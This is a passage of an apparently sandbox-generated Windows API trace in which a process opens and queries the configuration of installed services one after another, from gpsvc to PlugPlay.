pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.016] OpenServiceW (hSCManager=0x803918, lpServiceName="gpsvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.017] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.017] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.017] GetLastError () returned 0x7a [0166.017] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x12c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.017] OpenServiceW (hSCManager=0x803918, lpServiceName="gupdate", dwDesiredAccess=0x1) returned 0x803a30 [0166.017] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.017] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.018] GetLastError () returned 0x7a [0166.018] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x146, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.018] OpenServiceW (hSCManager=0x803918, lpServiceName="gupdatem", dwDesiredAccess=0x1) returned 0x803990 [0166.018] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.018] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.018] GetLastError () returned 0x7a [0166.018] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.019] OpenServiceW (hSCManager=0x803918, lpServiceName="hidserv", dwDesiredAccess=0x1) returned 0x803a80 [0166.019] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.019] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.019] GetLastError () returned 0x7a [0166.019] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x13e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.019] OpenServiceW (hSCManager=0x803918, lpServiceName="hkmsvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.069] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.069] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.069] GetLastError () returned 0x7a [0166.069] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x12e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.069] OpenServiceW (hSCManager=0x803918, lpServiceName="HomeGroupListener", dwDesiredAccess=0x1) returned 0x803a30 [0166.069] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.069] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.070] GetLastError () returned 0x7a [0166.070] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x140, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.070] OpenServiceW (hSCManager=0x803918, lpServiceName="HomeGroupProvider", dwDesiredAccess=0x1) returned 0x803990 [0166.070] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.070] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.070] GetLastError () returned 0x7a [0166.070] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x178, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.071] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x1) returned 0x803a80 [0166.071] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.071] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.071] GetLastError () returned 0x7a [0166.071] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x15a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.071] OpenServiceW (hSCManager=0x803918, lpServiceName="IKEEXT", dwDesiredAccess=0x1) returned 0x8038a0 [0166.071] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.072] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.072] GetLastError () returned 0x7a [0166.072] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x126, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.072] OpenServiceW (hSCManager=0x803918, lpServiceName="IPBusEnum", dwDesiredAccess=0x1) returned 0x803a30 [0166.072] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.072] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.073] GetLastError () returned 0x7a [0166.073] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x14c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.073] OpenServiceW (hSCManager=0x803918, lpServiceName="iphlpsvc", dwDesiredAccess=0x1) returned 0x803990 [0166.073] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.073] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.073] GetLastError () returned 0x7a [0166.073] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x122, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.073] OpenServiceW (hSCManager=0x803918, lpServiceName="KeyIso", dwDesiredAccess=0x1) returned 0x803a80 [0166.074] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.074] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.074] GetLastError () returned 0x7a [0166.074] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0xec, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.074] OpenServiceW (hSCManager=0x803918, lpServiceName="KtmRm", dwDesiredAccess=0x1) returned 0x8038a0 [0166.074] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.075] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.075] GetLastError () returned 0x7a [0166.075] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x19c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.075] OpenServiceW (hSCManager=0x803918, lpServiceName="LanmanServer", dwDesiredAccess=0x1) returned 0x803a30 [0166.075] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.075] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.076] GetLastError () returned 0x7a [0166.076] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0xf8, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.076] OpenServiceW (hSCManager=0x803918, lpServiceName="LanmanWorkstation", dwDesiredAccess=0x1) returned 0x803990 [0166.076] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.076] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.076] GetLastError () returned 0x7a [0166.076] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x174, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.076] OpenServiceW (hSCManager=0x803918, lpServiceName="lltdsvc", dwDesiredAccess=0x1) returned 0x803a80 [0166.077] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.077] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.077] GetLastError () returned 0x7a [0166.077] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x160, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.077] OpenServiceW (hSCManager=0x803918, lpServiceName="lmhosts", dwDesiredAccess=0x1) returned 0x8038a0 [0166.077] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.077] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.078] GetLastError () returned 0x7a [0166.078] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x164, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.078] OpenServiceW (hSCManager=0x803918, lpServiceName="Mcx2Svc", dwDesiredAccess=0x1) returned 0x803a30 [0166.078] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.078] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.078] GetLastError () returned 0x7a [0166.078] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x1a8, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.079] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x1) returned 0x803990 [0166.079] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.079] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.079] GetLastError () returned 0x7a [0166.079] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x184, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.079] OpenServiceW (hSCManager=0x803918, lpServiceName="MMCSS", dwDesiredAccess=0x1) returned 0x803a80 [0166.080] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.080] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.080] GetLastError () returned 0x7a [0166.080] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x10e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.080] OpenServiceW (hSCManager=0x803918, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x1) returned 0x8038a0 [0166.080] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.080] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.081] GetLastError () returned 0x7a [0166.081] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x152, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.081] OpenServiceW (hSCManager=0x803918, lpServiceName="MpsSvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.081] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.081] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.081] GetLastError () returned 0x7a [0166.081] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x164, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.082] OpenServiceW (hSCManager=0x803918, lpServiceName="MSDTC", dwDesiredAccess=0x1) returned 0x803990 [0166.082] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.082] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.082] GetLastError () returned 0x7a [0166.082] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x13c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.082] OpenServiceW (hSCManager=0x803918, lpServiceName="MSiSCSI", dwDesiredAccess=0x1) returned 0x803a80 [0166.082] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.083] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.083] GetLastError () returned 0x7a [0166.083] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x126, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.083] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x1) returned 0x8038a0 [0166.083] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.083] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.083] GetLastError () returned 0x7a [0166.083] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0xf6, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.084] OpenServiceW (hSCManager=0x803918, lpServiceName="napagent", dwDesiredAccess=0x1) returned 0x803a30 [0166.084] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.084] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.084] GetLastError () returned 0x7a [0166.084] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x150, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.084] OpenServiceW (hSCManager=0x803918, lpServiceName="Netlogon", dwDesiredAccess=0x1) returned 0x803990 [0166.085] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.085] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.085] GetLastError () returned 0x7a [0166.085] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x126, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.085] OpenServiceW (hSCManager=0x803918, lpServiceName="Netman", dwDesiredAccess=0x1) returned 0x803a80 [0166.086] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.087] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.087] GetLastError () returned 0x7a [0166.087] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x13c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.087] OpenServiceW (hSCManager=0x803918, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x1) returned 0x8038a0 [0166.087] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.087] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.087] GetLastError () returned 0x7a [0166.088] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x18a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.088] OpenServiceW (hSCManager=0x803918, lpServiceName="NetPipeActivator", dwDesiredAccess=0x1) returned 0x803a30 [0166.088] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.088] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.088] GetLastError () returned 0x7a [0166.088] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x154, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.088] OpenServiceW (hSCManager=0x803918, lpServiceName="netprofm", dwDesiredAccess=0x1) returned 0x803990 [0166.089] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.089] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.089] GetLastError () returned 0x7a [0166.089] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x140, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.089] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpActivator", dwDesiredAccess=0x1) returned 0x803a80 [0166.090] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.090] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.090] GetLastError () returned 0x7a [0166.090] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x176, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.090] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x1) returned 0x8038a0 [0166.090] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.090] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.091] GetLastError () returned 0x7a [0166.091] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x154, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.091] OpenServiceW (hSCManager=0x803918, lpServiceName="NlaSvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.091] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.091] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.091] GetLastError () returned 0x7a [0166.092] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x15a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.092] OpenServiceW (hSCManager=0x803918, lpServiceName="nsi", dwDesiredAccess=0x1) returned 0x803990 [0166.092] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.092] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.092] GetLastError () returned 0x7a [0166.092] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.092] OpenServiceW (hSCManager=0x803918, lpServiceName="ose64", dwDesiredAccess=0x1) returned 0x803a80 [0166.093] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.093] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.093] GetLastError () returned 0x7a [0166.093] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x140, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.093] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.093] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.093] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.094] GetLastError () returned 0x7a [0166.094] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x1b0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.094] OpenServiceW (hSCManager=0x803918, lpServiceName="p2pimsvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.094] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.094] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.094] GetLastError () returned 0x7a [0166.094] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.094] OpenServiceW (hSCManager=0x803918, lpServiceName="p2psvc", dwDesiredAccess=0x1) returned 0x803990 [0166.095] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.095] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.095] GetLastError () returned 0x7a [0166.095] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x15e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.095] OpenServiceW (hSCManager=0x803918, lpServiceName="PcaSvc", dwDesiredAccess=0x1) returned 0x803a80 [0166.095] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.096] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.096] GetLastError () returned 0x7a [0166.096] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x15c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.096] OpenServiceW (hSCManager=0x803918, lpServiceName="PeerDistSvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.096] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.096] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.096] GetLastError () returned 0x7a [0166.096] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x11a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.097] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x1) returned 0x803a30 [0166.097] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.097] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.097] GetLastError () returned 0x7a [0166.097] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x124, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.097] OpenServiceW (hSCManager=0x803918, lpServiceName="pla", dwDesiredAccess=0x1) returned 0x803990 [0166.097] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.098] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.098] GetLastError () returned 0x7a [0166.098] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.098] OpenServiceW (hSCManager=0x803918, lpServiceName="PlugPlay", dwDesiredAccess=0x1) returned 0x803a80 [0166.098] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.098] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.098] GetLastError () returned 0x7a [0166.098] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x10a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.099] OpenServiceW (hSCManager=0x803918, 